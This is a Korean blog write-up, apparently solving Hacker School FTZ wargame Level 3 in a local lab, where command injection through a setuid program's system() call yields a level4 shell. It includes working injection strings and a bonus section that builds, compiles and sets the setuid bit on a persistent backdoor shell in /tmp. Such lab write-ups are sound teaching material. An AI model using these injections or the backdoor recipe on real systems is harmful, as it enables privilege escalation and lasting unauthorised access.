2016. 7. 21. 22:04 :: 문제풀이/Hacker School

 ||| Chapter 03 :: system() 함수의 위험성 |||

 

 

안녕하세요. Message입니다. Lv3 달립니다!

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 접속

Level3에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level3 / can you fly?

autodig라는 파일의 소스라는 말과 함께 해당 소스를 이용하여 level4의 권한을 얻으라고 합니다.

그리고 2개의 힌트를 더주었군요

+힌트1) 동시에 여러 명령어를 사용하려면?

+힌트2) 문자열 형태로 명령어를 전달하려면?

 

2) dig / nslookup

dig는 nslookup과 같은 명령어지만, 유닉스 계열에 탑재된 명령어 입니다.

사용방법은  dig @DNS서버IP 도메인  입니다.

이렇게보면 잘 알 수 없으니 KT DNS서버를 이용하여 질의해봅니다.

결과값은 아래와 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 공격대상 찾기

주어진 autodig 소스코드를 분석해보면 아래와 같은 행위를 합니다.

1) 사용자 입력을 받고, 인자가 2개가 아니면 오류를 출력한다.

2) "dig @"를 cmd로 복사하고, 나머지 인자들을 strcat() 함수를 이용하여 이어붙힌다.

3) 마지막에 " version.bind chaos txt" 문자열을 이어붙힌다.

4) system() 명령어를 이용하여 dig 동작을 수행한다.

 

이제 동작의 흐름을 알았으니 본격적으로 공격을 어떻게 할 것인지 궁리합니다.

일단 지금까지 배운게 있으니, find 명령어를 이용하여 Level4의 권한을 가진 파일을 찾아봅니다.

아래와 같은 결과값이 나왔습니다.

 

2) 공격대상 파일 기능 분석

해당 소스파일이 dig명령어와 동일한 기능을 수행하는지 살펴봅니다.

아래와 같이 결과값이 동일한 것을 알 수 있습니다.

  

 

3) 공격

원본 소스코드가 힌트로 제공되었으므로 별도의 리버싱 과정을 거치지 않고

system() 함수를 이용한 공격을 시도해보았습니다.

유닉스 계열은 세미콜론(;)을 이용하면 여러개의 명령어를 수행할 수 있습니다.

예를들어 세미콜론을 이용하여 id값을 두번 출력하고 싶다면 아래와 같이 하면 됩니다.

 

이와같은 원리를 이용하여 소스코드 내부에서 실행되는 system() 함수에

여러개의 명령어를 입력해보고자 시도해보았습니다.

아래와같이 ip값을 인자로 넘겨준뒤 세미콜론을 이용하여 id명령어를 입력하였고,

SQL Injection의 원리처럼 뒤에 값은 샾(#)을 이용하여 주석처리 해보았습니다.

 

하지만 이상하게 Level이 3으로 나오더군요

곰곰히 생각해보니 세미콜론을 붙이면 해당 소스코드의 system() 함수에 전달되는것이 아니라,

"/bin/autodig 16.126.63.1" 까지만 system() 함수로 실행되고

"id" 명령어는 해당 프로그램이 종료된 이후에 cmd상에서 실행된다는 결론을 내렸습니다.

이와같은 문제점을 해결하려면 system() 함수에 id명령어까지 들어가야 한다는 소리인데,

이를 해결하려면 인자값들을 쌍따옴표("")로 묶어주어 SETUID가 걸린 system() 함수에서 실행되게 만들어야 합니다.

즉, 아래와같이 실행될겁니다.

- system(dig @168.126.63.1; id; #version.bind chaos txt)

     (중략)

 

id값이 Level4로 나왔습니다.

좀더 깔끔한 해킹을 위해서 sh 명령어를 넣어주면 Level4의 쉘을 얻을 수 있고

아래와 같이 my-pass 명령어를 이용하여 다음레벨 패스워드를 얻을 수 있습니다.

 

 

---------------------------------------------------------

03. 보너스

---------------------------------------------------------

위의 방법에는 매번 autodig를 이용하여 level4의 권한을 얻어야 한다는 번거로움이 있습니다.

따라서 Level1과 같이 백도어를 만들어 놓으면 편리합니다.

라인수를 줄이기 위해 DNS 서버 IP는 127.0.0.1로 지정하고

아래와 같은 내용을 넣습니다.

------------------------------------------------

int main(){

char *cmd[2];

cmd[0] = \"/bin/sh\";

cmd[1] = (void *)0;

setreuid(3004,3004);

execve(cmd[0], cmd, cmd[1]);

}

------------------------------------------------

 

위 내용을 한줄로 표현하면 아래와 같습니다.

처음엔 한줄에 다 적어보려다가 Segmentation fault가 나서 세줄로 바꿨습니다.

(복사해서 커맨드에 마우스 우클릭하면 붙여넣기가 됩니다.)

 

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";' > /tmp/superBackdoor.c; #( > : 파일출력 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'cmd[1]=(void *)0;setreuid(3004,3004);' >> /tmp/superBackdoor.c; #" ( >> : 이어쓰기 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'execve(cmd[0],cmd, cmd[1]); };' >> /tmp/superBackdoor.c; #( >> : 이어쓰기 )

 

만들어진 파일은 아래와 같이 컴파일 합니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; gcc -o /tmp/superBackdoor /tmp/superBackdoor.c; #"

ls

------------------------------------------------------------------------------------------------

Tip. 파일삭제

적다가 실수가 나서, 파일을 지우려고 했더니 그것도 권한이 필요하다고 하더군요..ㅜ

[level3@ftz level3]$ /bin/autodig "127.0.0.1; rm /tmp/superBackdoor.c; #"

------------------------------------------------------------------------------------------------

 

파일을 실행하고 id 명령어를 입력하면 아직 Level3인것을 볼 수 있습니다.

아직 SUID를 설정하지 않았기 때문이라고 합니다.

 

 

SUID를 설정해주고 다시 실행하면 Level4의 쉘을 얻을 수 있습니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; chmod 6755 /tmp/superBackdoor; #

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

system() 함수의 기능을 이용한 문제였습니다.

유닉스계열 OS에 대해 잘 알아야 취약점도 발견할 수 있음을 다시 깨닫게 됩니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message